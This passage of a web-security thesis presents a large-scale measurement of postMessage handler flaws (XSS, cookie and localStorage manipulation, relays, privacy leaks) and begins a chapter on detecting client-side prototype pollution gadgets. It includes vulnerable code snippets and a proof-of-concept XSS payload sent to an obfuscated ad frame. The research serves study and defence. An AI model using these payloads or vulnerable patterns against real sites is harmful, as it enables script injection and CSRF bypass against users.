vulnerabilities. Table shows total number of handlers (by file hash), unique handlers (by
structural hash), and vulnerable handlers. Additionally, outlines how many handlers
had origin checks and how many sites were affected by the vulnerable handlers.

In both cases, the attacker needs to be able to control which document receives the
postMessage. We can distinguish between two cases of how a target page might send
postMessages, i.e., by fetching specific iframe elements from the DOM or by using relative
frame handlers such as top, opener or event.source. Unfortunately, as described
by Barth et al. [9], an attacker can navigate specific sub-frames of any target page using
the window.frames property cross-origin, leaving the former trivially exploitable.
As for the latter, exploitability strictly boils down to the attacker’s capabilities of
manipulating these properties, e.g., having a site frame another vulnerable application.
Since there is no objective criterion which allows us to define the success of an attacker
as these issues are context-specific, we resort to manual analysis in those cases where
we find potentially dangerous patterns as output by our engine.

To also account for flows coming from either document.cookie or localStorage,
we replace values fetched from either storage mechanism with our proxy values and
capture operations on these as in our general case. This showcases the flexibility of our
framework, as we can essentially replace any value with a proxy version to capture all
operations performed on these objects.

4.3 Empirical Study

In this section, we discuss the results of applying PMForce to the top 100,000 sites,
according to Tranco[100] created on March 22, 2020. We visited each tranco link, and
ten randomly selected same-site links found on the starting page and analyzed each
handler that was registered by the pages, amounting to 758,658 documents and 27,499
handler functions. Our experiment was conducted on March 23, 2020 and took around
24 hours using 130 parallel instances of our pipeline, using a timeout of 30 seconds per
query to the SMT solver.
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1 window.onmessage = function (event){
2 if(event.data.type === 'foobar')
3 eval(event.data)
4 }

Figure 4.6: Example of False Positive of the Taint Analysis

4.3.1 Vulnerability Analysis

Table 4.2 depicts the findings of our experiment on the Tranco top 100,000. The total
number of handlers represents the amount of unique handlers per hash sum of the
handler code, for which we could observe a tainted data flow into the respective sinks.
By manually sampling our results we could find various handlers which use slightly
differing layouts, as they were the same library but slightly adapted to the website, or
had differing nonces across observed instances of the same handler. To paint a clear
picture of how many different families of handlers we could observe to be vulnerable, we
used a hash over the lexical structure, i.e., the representation as tokens, of the registered
handlers and used this as a distinguishing factor. Overall, this resulted in 10,846 unique
handlers that we encountered in our experiment. In total, we found 252 handler families
with a data flow to any of our considered sinks, out of which we are unable to analyze
21 due to timeouts and another 21 due to unsupported behavior. We defer a detailed
analysis of these issues to Section 8.2.1.

Naturally, not all of our forcefully found flows are abusable by an attacker, e.g.,
sanitized values for XSS or only partially controllable storage values. The number of
abusable cases represents our automatically verified issues, which can then be further
classified among handlers without any check and handlers with origin checks. Even
though Son et al. [112] showed that most origin checks are faulty, we defer a thorough
analysis of these checks to Section 4.3.2.

In terms of direct XSS, we find that eval is the most prominent sink, with 43 unique
handlers that have an exploitable flow. Out of those, 25 do not perform any origin
checks and thus can be exploited by a Web attacker without any other pre-conditions.
Similarly, 16 handlers use attacker-controllable data in an assignment to innerHTML,
out of which twelve do not perform an origin check.

Randomly sampling eight (~20%) handlers for which we could not automatically
validate code execution flaws, we could find five cases in which exploitability relied
on environmental constraints, e.g., the presence of certain DOM elements which were
not present in the page. One handler, depicted in Figure 4.6, is unexploitable without
resorting to other techniques discussed in Chapter 5. In this handler, it is first checked
that the property type of event.data exists, and subsequently eval is called with the
entire event.data object. To exploit this as an attacker, we need to set event.data
to, e.g., alert(1). The surrounding code, however, expects the data property to be
an object with the key type, i.e., there is no way to satisfy both constraints.

The remaining two handlers ensure that only alphanumerical payloads can be used
in the context of the sink, for which none of our Exploit Templates fulfill this criterion.
While we cannot automatically validate such cases, the output of our taint analysis
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1 // site 1, with origin check
2 function actual_functionality(e) {
3 if (e.origin == 'https://foo.com') {
4 eval(e.data);
5 }
6 }
7
8 // generic handler on which we calculate structure uniqueness
9 function dispatcher(e) { actual_functionality(e) };

10 window.addEventListener("message", dispatcher);
11
12 // site 2, no origin check
13 function actual_functionality(e) {
14 eval(e.data)
15 }
16
17 // generic handler on which we calculate structure uniqueness
18 function dispatcher(e) { actual_functionality(e) };
19 window.addEventListener("message", dispatcher);

Figure 4.7: Example of Simple Dispatcher Functions

might be passed to a human expert to provide a final verdict on the exploitability using
domain knowledge to, e.g., bypass custom sanitization or filter routines. However, we
were still able to find 43 handlers that lead to a trivial code execution by any Web
attacker and overall 66 that might be abusable by an attacker if they could compromise
a trusted host.

We note here that the sum of handlers with and without origin check amounts to
67. This is caused by the fact that we determine uniqueness on the structure of the
directly registered handler, not all code that was used to handle an incoming message.
An example of such a handler is shown in Figure 4.7, where the same dispatcher is used
to invoke different functionality (once with and once without origin checks) for different
sites. Even though we analyze all hash-unique handlers, the table shows the aggregate
of structure-unique handlers, hence folding together cases where the registered handler
matches, but the invoked functionality differs.

In terms of arbitrary storage manipulation, we could find that 30 handlers are
susceptible to localStorage alterations, while 18 to cookie alterations. Again the vast
majority does not perform any checks at all, leading to trivial manipulations by an
attacker. Sampling another 20 handlers (~20%) where PMForce was unable to validate
storage manipulations, uncovers 19 cases in which the handler only allows certain
prefixes for the keys of storage alterations or even allows only a single fixed key. In the
remaining handler, we could observe that the constraint solver runs into a timeout, even
though an arbitrary storage manipulation was possible, which forms a false negative in
our analysis. While alterations of specific key-value pairs might still suffice in a specific
attack scenario, this does not capture the attack vector that we set out to investigate,
i.e., full control of the client-side storage mechanism.

To conclude our results, we found that 43 handlers allowed for trivial XSS affecting
91 sites, as well as, 38 handlers allowing for storage manipulation affecting 128 sites. In
total, an attacker can exploit 219 sites due to a complete lack of origin checks.
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Even though an abundance of handler functions are performing non-critical opera-
tions, we can still find various handlers that do, and that can be abused by an attacker.
This highlights the strengths of PMForce in contrast to manual efforts, which would no
longer scale to the current corpus of handler functions.

4.3.2 Origin Checks

We now turn to analyze the correctness of the origin checks of the problematic handlers
we discovered. Using our lexical uniqueness criterion, we captured a total of 32 unique
handlers that have exploitable flows once the origin check can be bypassed by an attacker
which would affect another 160 sites. Manually examining these checks shows that
contrary to the results of Son et al. [112] from 2013, nowadays, 24 out of the 32 handlers
perform strict origin checks that are not circumventable. With 19 out of these 24
handlers, the vast majority compares the origin to a set of fix origins. The remaining
five implement checks that allow for arbitrary subdomains of a set of fixed eTLD+1,
either via regular expressions or checking that the origin ends with the eTLD+1. The
incorrect checks constitute of seven indexOf checks that an attacker can circumvent
using an arbitrary domain with appropriate subdomains or registering a specifically
crafted domain and one incorrect check using a broken regular expression. We can
conclude that contrary to previous analyses, origin checks have shifted to being mostly
correctly implemented with the exceptional odd-ones out.

4.3.3 PostMessage Relays

In this section, we set out to discuss the results of our manual investigation of handlers
for which we could observe a flow from a received postMessage to another call to the
postMessage function. We found a total of 45 unique handlers that exhibited any such
flow, from which 25 use the data taken from the received postMessage and use it inside
a fixed structure that is then sent further along, thus, not controllable by an attacker.
Of the remaining 20 handlers, four reflect the message to the sender, thus cannot be
used to relay a message to another frame reliably. In Chrome the event.source
property will be set to null once the frame that originally sent the message was navigated,
thus preventing an attacker from navigating the attack page before the postMessage is
processed. Firefox and Safari, in contrast, do not have this protective measure in place,
which introduces a race condition, in which the attacker tries to navigate the frame
before the vulnerable handler echos the data back using the event.source property.
While we were able to confirm these issues with toy examples, in which messages are
reflected to the sender after 100ms, we discard these cases for our analysis as they are
dependent on whether or not an attacker can delay the execution of the vulnerable
handler in practice.

Overall, this leaves us with 16 handlers that relay messages that an attacker can
abuse. For six, the message is relayed to the parent frame, and ten relay the message to
another frame in the same document. As described by Barth et al. [9], frames can be
navigated across origins, which allows an attacker to set the location of any target frame
across origins, unless site make use of CSP’s frame-src directive. In fact, in two of these
ten cases, frame-src prevents an attacker from choosing arbitrary targets for the relay.

42



4.3. EMPIRICAL STUDY

While the direct security implications of postMessage relays remain dependent
on further postMessage handlers, which allow particular origins to execute sensitive
functionalities, they unveil a more general issue that arises from the usage of the origin
as an integrity check. The receiving frame cannot discern whether the message stems
from the benign sender, an attacker, or even any other script that runs in the same
origin as the intended sender (e.g., as a third-party script).

4.3.4 Privacy Leaks

In a separate crawl of the same dataset performed on March 25, 2020, we proxied all
elements stemming from either cookie or localStorage and observed flows from these
stores which are sent out via a postMessage as described in Section 4.2.4. We found
eight unique handlers with such a flow, for which one was a false positive, and all
other flows constituted privacy leaks. Four handlers leaked specific values to the sender,
and three leaked arbitrary values that can be influenced via the received postMessage.
Contrary to our other cases, these were exclusively found on a single site and not part
of library functionality found on multiple sites.

Naturally, this analysis comes with the inherent limitation that we do not have any
means to log in to the sites. While this is a general limitation of a large-scale analysis,
our framework could be used in a context where automatic logins are feasible, e.g.,
assisted by login information of the developer. This would allow us to uncover more
functionality of the sites overall, but in particular, could unveil more handler functions
which handle sensitive user data since these might only be present after the login.

4.3.5 Case Studies

In the following, we discuss two case studies that depict interesting vulnerabilities that
we could find with PMForce.

4.3.5.1 Obfuscated Ad Frame

We found an XSS flaw in the obfuscated postMessage handler of an ad company (shown
in Figure 4.8). Our dynamic analysis collected the corresponding values used in the
conditionals, which are shown as comments in the source code. The postMessage format
expected by the handler consists of four strings separated by the string ˜@#bdf#@˜.
The first string needs to be Ad, and the second string is the injection point. The third
and fourth string are used for checks not directly related to the exploitable program
trace, however, they need to be present to avoid a runtime error. The setIfr method
calls document.write with our payload enclosed in HTML which is fixed by the page.
We note that our approach was able to fully automatically find and validate the exploit;
a task that would be extremely time-consuming for a manual analysis of this heavily
obfuscated code snippet.

4.3.5.2 Bot Protection Service

We found that a widely used bot protection service was, once it suspected a browser of
being operated automatically, delivering captcha interstitials, which had a vulnerable
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1 function receiver(a) {
2 if (a[_$_8e7c[46]]) { // a['data']
3 var s = _$_8e7c[1]; //
4 try {
5 var r = _$_8e7c[47]; // r = ~@#bdf#@~
6 block = a[_$_8e7c[46]][_$_8e7c[48]](r)[3]; //

event.data.split('~@#bdf#@~')[3]↪→
7 size = a[_$_8e7c[46]][_$_8e7c[48]](r)[2]; //

event.data.split('~@#bdf#@~')[2]↪→
8 message = a[_$_8e7c[46]][_$_8e7c[48]](r)[1]; //

event.data.split('~@#bdf#@~')[1] contains our payload↪→
9 s = a[_$_8e7c[46]][_$_8e7c[48]](r)[0] // event.data.split('~@#bdf#@~')[0]

10 } catch (ex) {}
11 ;if (s === _$_8e7c[49]) { // s == 'Ad'
12 try {
13 ad = message; // sets global ad value to our injected payload
14 if (block == _$_8e7c[50]) { // block == 'true'
15 // ...
16 } else {
17 // ...
18 }
19 ;setIfr(currentIframe, size[_$_8e7c[48]](_$_8e7c[57])[0],

size[_$_8e7c[48]](_$_8e7c[57])[1]) // does document.write with ad
variable on currentIframe

↪→
↪→

20 } catch (ex) {
21 // ...
22 }
23 }
24 // ...
25 }
26 }
27 // hosted on the attackers page with target pointing to the vulnerable frame
28 target.postMessage('Ad~@#bdf#@~<img src="foo"

onerror="top.alert(document.domain)"><textarea>~@#bdf#@~a~@#bdf#@~true')↪→

Figure 4.8: Obfuscated Ad Handler
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postMessage handler accepting messages from any origin and using sent data to set
cookies. This pattern can be used by an attacker to set arbitrary cookies for all the
sites that make use of this protection mechanism by first triggering the bot detection
via frequent requests and then use the handler to set cookies. Investigating one of the
vulnerable sites, an online real estate market place, unveils the use of Double Submit
cookies for CSRF prevention. While the Bot prevention also means that any further
request is blocked unless a captcha was solved, the attacker can rely on the user to
assist in this endeavor. Once the captcha is solved, the handler sets a cookie from the
bot prevention service for the target domain indicating the success, thus allowing any
subsequent requests until it reclassifies the behavior as suspicious. After the captcha was
solved, the attacker can perform the cross-site request and circumvent the protection
due to the previously planted cookie.

Naturally, any instance of client-side storage manipulation can also be used by
an attacker to mount persistent client-side XSS attacks as further elaborated on in
Chapter 6.

4.4 Summary

We showed that the amount of postMessage handlers had increased tremendously over the
recent years, rendering any manual efforts to measure the security- and privacy-relevant
behavior inept.

We tackle this research gap by presenting an in-browser solution that can selectively
apply forced execution and dynamic taint analysis to postMessage handlers found while
crawling the 100,000 most popular sites. We track data flows originating from the
received postMessage into sensitive sinks such as eval for code-execution flaws and
document.cookie for state-alteration flaws. Once we encounter such potentially
dangerous flows, we utilize path constraints collected in our execution framework,
augmented with what we dubbed Exploit Templates, and solve all these constraints
using state-of-the-art SMT solvers. Doing so shows that most behavior exhibited by
handler functions found in the wild can be represented in our chosen constraint language.

We use the assignments generated by the constraint solver to create exploit candidates
that we validate automatically with the un-instrumented handler functions. Doing so
allows us to automatically uncover abusable flaws in 111 handlers, which affect 379 sites,
out of which 80, affecting 219 sites, do not perform any origin checks, such that a Web
attacker can trivially exploit those. Contrary to previous analyses, we show that most
origin checks protecting sensitive behavior are implemented correctly; thus, they no
longer allow an attacker to bypass them. Additionally, we report on an analysis of the
threat of postMessage relays and privacy leaks via postMessage handlers showcasing
how our system can be further used to uncover flaws in real-world sites.
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5.1. PROTOTYPE POLLUTIONS IN CLIENT-SIDE WEB APPLICATIONS

Moving on from a previously studied threat that lacked automated detection, we
now turn our attention to the domain of Prototype Pollution vulnerabilities. This class
of vulnerabilities lacks thorough studying in client-side code as a whole, but we have
seen its impact in selected manually analyzed libraries [4].

To evaluate the threat of prototype pollutions in the wild, we present a concolic
execution engine that allows us to study the prevalence of prototype gadgets, i.e., benign
pieces of code that can be coerced into exhibiting malicious behavior if an attacker can
manipulate JavaScript prototypes. We show that such prototype gadgets are prevalent
throughout even the most popular applications, allowing attackers to gain code-execution
or forge requests using client-side CSRF vulnerabilities. We use this information to
propose Web platform changes that can eradicate this threat vector by default and
highlight protection mechanisms that developers could deploy while platform changes
are not yet implemented.

5.1 Prototype Pollutions in Client-Side Web Applications

Given the dynamic nature of JavaScript, prototypes can be altered at runtime. As
a benign example, a developer might want to define a function that encodes strings
to their base64 version. The developer can simply add this function to the String
prototype and subsequently use it directly on every string in their application. However,
if a prototype is maliciously altered, otherwise benign pieces of code can suddenly
exhibit malicious functionality. Figure 5.1 shows such an instance, where a configuration
object is passed to a function with the intention to load a library into the application.
The developer intended this function to either load the library that is supplied via the
scriptUrl property of the config object or load the library from its default location.
Since the developer passed an empty object to this function (line 7), one might assume
that the library should be loaded from its default location, as config.scriptUrl is
undefined (line 3). However, if an attacker manages to alter the scriptUrl property
on any prototype in the prototype chain of the object, e.g., the Object prototype, the
non-existent property falls back to the prototype. In our example, the attacker can now
control the location from which another script is fetched and executed in the scope of
the application. This allows the attacker to execute arbitrary code in the application by
pointing the scriptUrl to a location that they control.

To successfully conduct such an attack, the application has to have two distinct flaws.
First, it needs to contain a code snippet that can be used to manipulate a prototype,

1 function includeLibrary(config){
2 let elem = document.createElement('script');
3 elem.src = config.scriptUrl || 'https://example.com/lib.js';
4 document.body.appendChild(elem);
5 }
6
7 includeLibrary({});

Figure 5.1: Simple Prototype Pollution Gadget
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1 // manipulated by attacker
2 Object.prototype.foobar = 1;
3
4 function copyObject(obj){
5 let copy = {};
6 for (let key in obj){
7 copy[key] = obj[key];
8 }
9 return copy;

10 }
11
12 original = {foo: "bar"};
13 copy = copyObject(original);
14
15 // returns false
16 original.hasOwnProperty("foobar");
17
18 // returns true
19 copy.hasOwnProperty("foobar");

Figure 5.2: for in Iteration Example

i.e., set a property on the prototype to the value of the attacker’s choosing, which we
refer to as a prototype manipulation. Second, the application needs to contain what we
call a prototype gadget, i.e., a piece of JavaScript code that incorrectly handles cases of
polluted prototypes, thereby enabling the attacker to capitalize on the first step.

Besides direct accesses to properties, prototypes are also checked whenever the
program uses for..in iterations on an object. Figure 5.2 shows an example, where a
prototype pollution adds a property foobar on all objects that fall back to the Object
prototype. In the iteration (line 6), the JavaScript engine iterates over all properties
of the object and any of the non-native properties of its prototypes and adds these as
properties to the copy object. In this particular example, this would mean that the
copy returned from this function has the foobar property set on the object itself and
not only on the Object prototype. Using the hasOwnProperty function, the program
can check whether the property exists on the object itself (as is the case for our copy,
see line 19) or if this property stems from any of its prototypes (as would be the case for
the input to the copy function, line 16). Unfortunately, once the application copies such
properties to another object, they become indistinguishable from the actual properties
that the developer intended to define.

5.2 Detecting Prototype Gadgets

In this section, we discuss our methodology on finding pollution gadgets. To that end,
we discuss how we utilized Jalangi to implement a concolic execution engine and how
we propagate symbolic values through our engine. We elaborate on our considerations
for the generation of test cases, as well as, how we employ this instrumented engine to
visit real-world websites.
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example

example.com
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Spawns page

Retrieve testcase

Store reports

Relays SMT queries

Query SMT solver

Emit new testcase
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Request if not in cache
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Request

Instrumented Response

SAT/UNSAT

Emit sink access

Figure 5.3: Overview of PPGadget Approach

5.2.1 Overview

Our system consists of three major components, i.e., a concolic execution engine we
built using a custom Jalangi2 [106] analysis, a proxy server that instruments and caches
all JavaScript included into any given page, and our crawlers that visit the pages under
test while supplying the concolic engine with information about the current test case to
be executed and access to the translation layer between our recorded path constraints
and the SMT solver.

Whenever we observe a data flow of one of our symbolic values into a dangerous
sink, we generate a report containing all the path constraints and information about
the observed flow for later manual verification. An overview of our approach is depicted
in Figure 5.3.

5.2.2 Concolic Engine

We utilize Jalangi2 [106], which is a dynamic analysis framework for JavsScript support-
ing features up to ECMAScript version 5.1 presented by Sen et al. [109], to implement
our concolic engine. On a high level of abstraction, we treat properties, which the
program accesses, but that are not defined on the respective object nor in the prototype
chain as symbolic values. To that end, we employ techniques presented in Chapter 4
and represent symbolic values via JavaScript proxy objects, which capture all operations
performed on the symbolic value at runtime. We use the same techniques to solve path

51



CHAPTER 5. UNDERSTANDING CLIENT-SIDE PROTOTYPE POLLUTION
VULNERABILITIES

constraints whenever we encounter a control flow statement and fork our analysis state
if multiple branches are feasible in a given execution run.

Unfortunately, our framework as presented in Chapter 4, which relied on Iroh[75] as
a dynamic JavaScript analysis framework, cannot be used to analyze complete websites
holistically. Instead, Iroh can only be used inside the page to instrument code that
was added at runtime. Therefore, we extend the building blocks presented earlier to
implement a concolic engine using a custom Jalangi analysis.

Jalangi’s capabilities are very similar to Iroh’s, yet, one structural difference of
Jalangi introduces a significant drawback for our purposes, which we want to highlight
in the following. Namely, conditional statements that contain the conjunction of two
predicates. Iroh instruments this code such that the respective callback(Iroh.IF) is only
called once. This allows the proxy mechanism to capture one conditional with both
predicates. Jalangi, however, unrolls those predicates and invokes the respective callback
(Analysis.conditional) twice, once for each predicate. This change increases the number
of paths in the instrumented program by the factor of predicates per conditional. This
circumstance actively contributes to the path explosion problem, for which we discuss
the impact on our dataset in more detail in Section 5.4.

Whenever we encounter a control flow statement that relies on one of our symbolic
values, we can check which of the paths are feasible given the collected path constraints,
which are extracted from the proxy mechanism. If only one path is feasible, i.e., we can
find an assignment that fulfills the path constraints using Z3 as a constraint solving
engine, we continue going down this particular path. If multiple paths are feasible, we
continue with one of them, all the while adding another testcase to our centralized
database, which is investigated in a subsequent (fresh) visit to the page.

5.2.2.1 Concolic Test Case

A test case in our infrastructure consists of three parts, i.e., the URL which is to be
visited, the set of properties that we simulate to be polluted (i.e., treat as symbolic
values), and a mapping of conditionals to their expected truth values. As hinted at in
the preceding section, the latter is used whenever we have more than one branch that
can be taken on any given control flow statement. We seed our test cases by visiting
a target URL and collecting all properties that fallback to the prototype and have no
associated value in any of their prototypes.

While we could treat all fallbacking properties as symbolic in a single execution
run, thus only need to care about us visiting all paths throughout the program, this
approach falls short in two regards.

First, we are unable to model specific behavior of JavaScript in the constraint solving
engine of our choice, i.e., Z3. The more properties we simultaneously treat as symbolic,
the more issues might arise in our abstraction layer that influences the outcome of a
particular execution run whenever we need to concretize values. More importantly,
since we are no longer restricting instrumentation to postMessage handlers, our work
unveils further issues in the abstraction layer that helps us represent JavaScript behavior
in Z3. We follow the best effort approach to model native functions as was done by
related research [107], however, one prominent example that we cannot support are
the functions String.toLowerCase and String.toUpperCase. They cannot be
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modeled in Z3 without resorting to regular expressions, which significantly increases the
time the SMT solver needs to answer our queries. Ultimately, the inability to correctly
represent all behavior of JavaScript in the logic of the constraint solver means that we
cannot decide which paths are feasible and should thus be analyzed further, even if the
constraints of the subset of properties that jointly contribute to a security issue could
be represented in our constraint language and solved within reasonable amounts of time.
We defer a more thorough analysis of such and similar limitations to Chapter 8.

Second, our pipeline relies on manual verification of the potentially dangerous flows
that we could find while analyzing the websites with our concolic engine. Restricting
our reports to the minimal information that facilitate a particular flow makes manual
verification by a human agent easier. In particular, all symbolically treated values
contribute additional constraints to our set of path constraints, which the human agents
needs to analyze, even if their outcome does not influence the presence of the data flow.
We also discuss the anatomy, e.g., amount of properties, that constitute a real-world
vulnerability in more detail in Section 5.3.1.

Whenever we analyze a test case with our concolic engine, we spin up a fresh browser
before continuing with our concolic execution. Even though this step is costly, executing
JavaScript, in particular library code, can incur some form of side-effect on the global
JavaScript execution environment. As an example, executing the script of a library
registers its API on the window object. Before actually adding the API, the library
script can check if it was already included and, if so, stop its second initialization, thus
diverting control flow. Similarly, once we start propagating symbolic values onto global
objects, e.g., if they are copied on the window object by the program, using the same
execution environment would influence any further analysis of another test case. To
eradicate side-effects of our concolic execution from carrying over to subsequent runs,
we therefore completely tear down the environment.

Even though our infrastructure is capable of handling multiple fallbacks as symbolic
in a given test case, we opt to limit our analysis to a single fallbacking property to cope
with the path explosion problem induced by a plethora of fallbacking properties that
we can observe in the wild, as further discussed in Section 5.4.

5.2.3 Propagation of Symbolic Values

In this section, we discuss how symbolic values propagate throughout our concolic
engine, as their propagation also occurs in non-trivial cases, where symbolic values are
not directly part of the operations.

Naturally, whenever a symbolic value is part of an expression in the program, e.g.,
Unary, Binary Expression, or Function Expressions, we collect those operations inside
the proxy structure that constitutes our symbolic value, as discussed in Chapter 4. This
allows us to concretize those values whenever we need to, i.e., when we are currently
executing a control flow statement to which the conditional is symbolic.

5.2.3.1 Placeholder Symbolic Values

However, in the case of symbolic values that originate from for..in iterations, initially,
we cannot know which keys are later on accessed in the program and might thus flow
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1 function distributeWorkItem(obj){
2 let copy = copyObject(obj);
3 let elem = document.getElementById('elem');
4 if (copy.innerText){
5 elem.innerText = copy.innerText;
6 } else if (copy.innerHTML){
7 elem.innerHTML = copy.innerHTML;
8 }
9 }

Figure 5.4: Placeholder Key/Value Pair Propagation

into sensitive sinks. To that end, we add placeholder keys/values pairs as properties on
the object that is used in such an iteration. Since keys of objects cannot be any complex
object, i.e., JavaScript Proxies, we concretize those keys to unique identifiers, which
we associate to their respective symbolic values in a global data structure. Whenever
we observe this random identifier now being part of any operations, as done via the
appropriate Jalangi callbacks, we substitute its value with the correct symbolic value,
representing the property name. If this particular symbolic value would then need
concretization, e.g., when used as an accessor to the initial object, we concretize it to
its random identifier, for which the object has the corresponding symbolic value stored.
This allows the application to access the appropriate symbolic value representing the
value of the key/value pair.

Having the means to handle such placeholder symbolic values allows us to substitute
property accesses that are neither defined on the object nor are in the set of fallback
properties in the current test case by updating the symbolic value to represent the
accessed property. An example for this case is given in Figure 5.4, where we re-use the
copyObject function from Figure 5.2. Here, the copied object contains, besides all
properties that were present before the copy operation, an additional entry that maps
one of our random identifiers to one of our symbolic values. The application, at first,
tries to access the innerText property. If this property was not set on the base object,
the for..in iteration would have been able to introduce such a property. Thus, we can
emit a path constraint that our symbolic value, which represents the property added via
the for..in iteration, must be equal to the string innerText and instead of returning
undefined from this property access, we return the symbolic value representing the
value of the copied property. Assigning a placeholder to a specific property means that
subsequent accesses are no longer able to use this particular placeholder due to the
path constraints that we emitted. This, in turn, means that we need to treat any such
assignment as another test case in our analysis, as it might very well be the case that the
first observed non-existing property is not part of a sensitive data flow, but a property
that was accessed at a later point in the program is, as is the case for the innerHTML
property in our example. Orthogonally, we might find instances in which placeholder
properties are used directly in assignments that might be security-sensitive. An example
of such a case is shown in Figure 5.5. Here the program iterates over the attributes
object and assigns every key/value pair to the script element created at the beginning.
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1 function addScript(tag, src, wtcallback, attributes) {
2 var s = document.createElement(tag);
3 if (src) {
4 s.setAttribute('src', src);
5 }
6 if (attributes) {
7 for (var key in attributes) {
8 s.setAttribute(key, attributes[key]);
9 }

10 }
11
12 document.head.appendChild(s);
13 }

Figure 5.5: Arbitrary Property Copy

1 let config = window.config || {};
2 config.html = "<h2>Hello User</h2>";
3 if(config.shouldGreetUser){
4 document.write(config.html);
5 }

Figure 5.6: Assignment to Symbolic Value

In such a case, our engine produces one report per property that allows for exploitation,
e.g., using the script.src or event handlers such as onload/onerror.

5.2.3.2 Assignments to symbolic properties

Besides cases in which we need to add further means of propagating taint in the form
of our placeholder values, there also exist instances in which the code can overwrite
parts of our symbolic values, in essence marking those parts as no longer attacker-
controllable. An example of such functionality found in real-world applications is
depicted in Figure 5.6. If the config variable is not defined on the window object, e.g., as
a global variable, accessing window.config would eventually fallback to the Object
prototype. However, the application code overwrites the html property, such that the
sink access to document.write in line 4 is not controllable by an attacker if we would
have a custom JavaScript object injected via a prototype manipulation.

Even though we show in the evaluation of our benchmark in Section 5.3.3.3, that
there exists a specific situation in which such snippets could still be exploited by an
attacker, we do not represent such behavior in our symbolic state space. Thus, we opt to
assume that property assignments indicate that the accessed value is a JavaScript object
and that any assignment leads to the value being reflected on a subsequent access. In
general, such an assumption would not uphold, as we can overwrite arbitrary properties
using, e.g., Object.defineProperty, and remove the possibility to set values by
providing an empty setter in the accessor property descriptor [84] as shown in Figure 5.7.
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1 Object.defineProperty(Object.prototype, "foobar", {
2 get: function(){return "42"},
3 set: function(){}
4 })
5 let obj = {};
6 obj.foobar; // evaluates to "42"
7 obj.foobar = 43; // no-op, getter will still return "42"

Figure 5.7: Redefining Property Setter

1 function addScript(config){
2 let url = config.url;
3 if(url.protocol === 'https' && url.host.endsWith('example.com')){
4 let script = document.createElement('script');
5 script.src = url;
6 document.body.appendChild(script);
7 }
8 }

Figure 5.8: Flow depending on Custom Type

5.2.3.3 Non-Basic types for Symbolic Values

When we substitute arbitrary fallbacking values with our symbolic values, the application
might treat them as, e.g., a function pointer. While in theory, we could also treat
such cases, they find no application under the attacker model as exhibited by the
prototype manipulation vulnerabilities that we could observe in the wild as discussed in
Section 5.3.1. Thus we abort a test case that leads to such a situation. On a similar
note, we might find data flows that cannot be exploited even though they look promising
at first. An example of such a case is depicted in Figure 5.8, where the actual flow relies
on the url property being of type URL. A value of this type has, e.g., the properties
host and protocol, which we could also mimic by a normal object using a prototype
manipulation. However, once the toString function is called in this scenario, implicitly
on the assignment, this assembles the correct URL. If we would now pass a polluted,
normal object instead, the toString would evaluate to the string [object Object].

In the setting of our prototype manipulation vulnerabilities, we have only experienced
attackers to be able to use primitive values (e.g., strings and integers), yet, attackers
are most of the time able to construct arbitrary objects from those primitive types as
we discuss in more details in Section 5.3.1.

5.2.4 Crawling Setup

Since our approach relies on running each test case in a separate visit to the instru-
mented website, we want to reduce the amount of time spent waiting on network fetches.
Furthermore, given the amount of testcases that we generate due to the path explosion
problem, we want to put as little strain on live servers as possible. To that end, we
implement a custom caching proxy, using the python library mitmproxy, to instrument
all JavaScript files and HTML documents requested by our crawlers. We run Jalangi

56



5.2. DETECTING PROTOTYPE GADGETS

via its CLI instrumentation script and aggressively cache all resources for the complete
duration of our analysis, disregarding any other caching control mechanisms. Further-
more, once we have visited the initial page, we no longer allow any requests to proceed
to live servers that are not in our cache. This restriction becomes important in light
of frameworks that actively try to circumvent caches by adding random identifiers to
requests (e.g., jQuery) or requests that contain, e.g., timestamps for analytics purposes.
Even though we alter the behavior in such cases, i.e., we fail the request which would
usually pass, we consider this to be an ethical trade-off. Another facet that ties into
caching of all resources is the time instability of live websites. JavaScript code being
changed, added, or removed from the page actively invalidates one implicit assumption
of our test case generation strategy, namely, if we fork our analysis state at a control
flow statement, we rely on being able to reconstruct the same state by choosing the
same branches until we reach the control flow statement in question.

Our crawlers are based on the browser instrumentation framework puppeteer
and run headless versions of Chrome. Each crawler fetches a new testcase from the
centralized database and subsequently visits the associated URL of the test case and
exposes information about the currently crawled job (i.e., properties to treat symbolically
and predetermined truth values of conditionals at specific program points) to the concolic
engine that is injected by the proxy server. The crawler collects information about all
fallbacking properties, copies of properties onto other objects, new testcases on not yet
encountered branches, and dangerous data flows into our considered sinks as emitted by
the concolic engine.

Since our concolic engine needs to be able to concretize symbolic values at runtime
to check for path feasibility, we need to expose means to query the SMT solver while
our concolic engine executes. To that end, queries to the SMT solver are issued as
synchronous requests, intercepted by our crawlers, and subsequently passed to the
python routine handling the conversion to Z3 clauses.

5.2.5 Limitations of the Software Stack

We have seen various cases in which Jalangi cannot properly instrument specific pieces
of JavaScript code. We attribute this fact mainly to the missing language support
of Jalangi, which at the time of this writing only supports ECMAScript version 5.1
and has experimental support for some features of version 6 and above. Besides the
instrumentation step that fails for these reasons, we also encounter runtime errors that
hint towards erroneous transformations. One example of such cases, are let or const
initializations, which Jalangi appears to be transforming incorrectly.

As such issues are implementation details of the underlying instrumentation frame-
work that we use, we see them as orthogonal to our main work. While language support
for the most recent ECMAScript standard would undoubtedly improve our results, it
does not affect the theoretical applicability of our approach, which we aim at showcasing
with our research prototype. Our techniques are oblivious to the actual instrumentation
techniques used. Our system serves as a PoC that allows us to measure the prevalence
of this threat with state-of-the-art tools available to us.
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Library Presence of vuln Comment
jQuery Query Object Plugin Automatic
jQuery Sparkle Api Call
Backbone jQuery Params Api Call
jQuery BBQ Api Call
jQuery Deparam Api Call
Mootools More Api Call
CanJS Api Call
Purl Api Call
Wistia Automatic Fixed
HubSpot Automatic Fixed + used jQuery deparam
Swiftype Automatic Fixed + used jQuery BBQ

Table 5.1: Libraries introducing Prototype Manipulation Vulnerabilities

While this limitation stems from using Jalangi as our dynamic analysis framework of
choice, this approach carries similar limitations to the system presented in Chapter 4. We
defer a thorough and wholistic analysis of the impact of these limitations to Chapter 8.
Yet, even considering those limitations we are able to find various vulnerabilities in
popular sites and libraries that we elaborate on in the remainder of this chapter.

5.3 Benchmark Evaluation

In this section we provide an overview of the benchmarks assembled from real-word cases
of prototype manipulations and prototype gadgets known to our community. We discuss
the performance of our pipeline and discuss case studies that highlight limitations of
our proposed solution when applied to these benchmarks.

5.3.1 Prototype Manipulation Benchmark

Table 5.1 shows our evaluation of 11 libraries that contained prototype manipulation
vulnerabilities taken from the most comprehensive collection of client-side prototype
